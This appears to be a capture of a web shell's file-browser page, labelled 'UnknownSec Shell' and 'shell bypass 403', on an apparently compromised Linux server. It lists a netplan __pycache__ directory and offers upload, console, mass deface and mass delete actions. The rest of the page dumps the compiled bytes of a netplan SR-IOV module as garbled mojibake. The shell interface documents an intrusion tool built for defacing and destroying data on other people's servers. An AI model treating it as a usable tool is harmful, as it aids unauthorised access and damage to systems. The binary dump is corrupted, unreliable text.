shell bypass 403
UnknownSec Shell
:
/
usr
/
share
/
netplan
/
netplan_cli
/
cli
/
__pycache__
/ [
drwxr-xr-x
]
upload
mass deface
mass delete
console
info server
name :
sriov.cpython-312.pyc
� *C�e�J � � � d dl Z d dlZd dlZd dlZd dlZd dlmZ ddlmZ ddl m Z d dlZd dlZ G d� de � Zd ej e fd �Zd ej e dej e fd�Zd � Zd� Zd� Zd� Zd� Zdd�Zdd�Zy)� N)�defaultdict� )�utils� )�ConfigurationErrorc � � e Zd ZdZdefd�Zedefd�� Zedefd�� Zdedefd�Z edefd �� Z edefd �� Zedefd�� Z edefd�� Zedefd �� Zedefd�� Zdededefd�Zdefd�Zdefd�Zy)� PCIDevicez.Helper class for interaction with a PCI device�pci_addrc � � || _ y)znInitialise a new PCI device handler :param pci_addr: PCI address of device :type: str N�r )�selfr s �+/usr/share/netplan/netplan_cli/cli/sriov.py�__init__zPCIDevice.__init__( s � � !�� � �returnc � � y)zusysfs path (can be overridden for testing) :return: full path to /sys filesystem :rtype: str z/sys� �r s r �sysz PCIDevice.sys/ s � � r c �l � t j j | j d| j � S )zq/sys path for PCI device :return: full path to PCI device in /sys filesystem :rtype: str zbus/pci/devices)�os�path�joinr r r s r r zPCIDevice.path7 s$ � � �w�w�|�|�D�H�H�&7����G�Gr �subpathc �V � t j j | j |� S )z�/sys subpath helper for PCI device :param subpath: subpath to construct path for :type: str :return: self.path + subpath :rtype: str )r r r )r r s r r zPCIDevice.subpath? s � � �w�w�|�|�D�I�I�w�/�/r c �� � d}t j j | j d� � rAt j j t j | j d� � � }|S )zjKernel driver for PCI device :return: kernel driver in use for device :rtype: str � �driver)r r �existsr �basename�readlink)r r s r r zPCIDevice.driverH sM � � �� �7�7�>�>�$�,�,�x�0�1��W�W�%�%�b�k�k�$�,�,�x�2H�&I�J�F�� r c �^ � t j j | j d� � S )z�Determine if device is bound to a kernel driver :return: whether device is bound to a kernel driver :rtype: bool r �r r r r r s r �boundzPCIDevice.boundS � � � �w�w�~�~�d�l�l�8�4�5�5r c �^ � t j j | j d� � S )zwDetermine if device is a SR-IOV Physical Function :return: whether device is a PF :rtype: bool �sriov_numvfsr# r s r �is_pfzPCIDevice.is_pf[ s � � �w�w�~�~�d�l�l�>�:�;�;r c �^ � t j j | j d� � S )zvDetermine if device is a SR-IOV Virtual Function :return: whether device is a VF :rtype: bool �physfnr# r s r �is_vfzPCIDevice.is_vfc r% r c � � g }d} |j t j j t j | j dj |� � � � � |dz }�f# t $ r Y |S w xY w)z�List Virtual Function addresses associated with a Physical Function :return: List of PCI addresses of Virtual Functions :rtype: list[str] r zvirtfn{}r )�appendr r r r! r �format�FileNotFoundError)r �vf_addrs�is r r0 zPCIDevice.vf_addrsk s} � � �� ��� �����G�G�$�$����D�L�L��1B�1B�1�1E�$F�G��� ��F�A� �� %� ���� �s �AA, �, A9�8A9c �R � | j D �cg c] }t |� �� c}S c c}w )z�List Virtual Function associated with a Physical Function :return: List of PCI devices of Virtual Functions :rtype: list[PCIDevice] )r0 r )r �addrs r �vfsz PCIDevice.vfs s � � -1�M�M�:�D� �$��:�:��:s �$�obj_name�prop�valuec �n � t j dd|ddj | j � ||g� y)z�Set devlink options for the PCI device :param obj_name: devlink object to set options on :type: str :param prop: property to set :type: str :param value: value to set for property :type: str � /sbin/devlink�dev�setzpci/{}N)� subprocess� check_callr. r )r r5 r6 r7 s r �devlink_setzPCIDevice.devlink_set� s9 � � ����������� � �.��� � r c �8 � d| j � �} t j ddddd|gt j �� }t j |� }|j di � j |i � j d d� S # t j $ r Y yw xY w) z�Query eswitch mode via devlink for the PCI device :return: the eswitch mode or '__undetermined' if it can't be retrieved :rtype: str zpci/r9 z-jr: �eswitch�show)�stderr�__undetermined�mode)r r<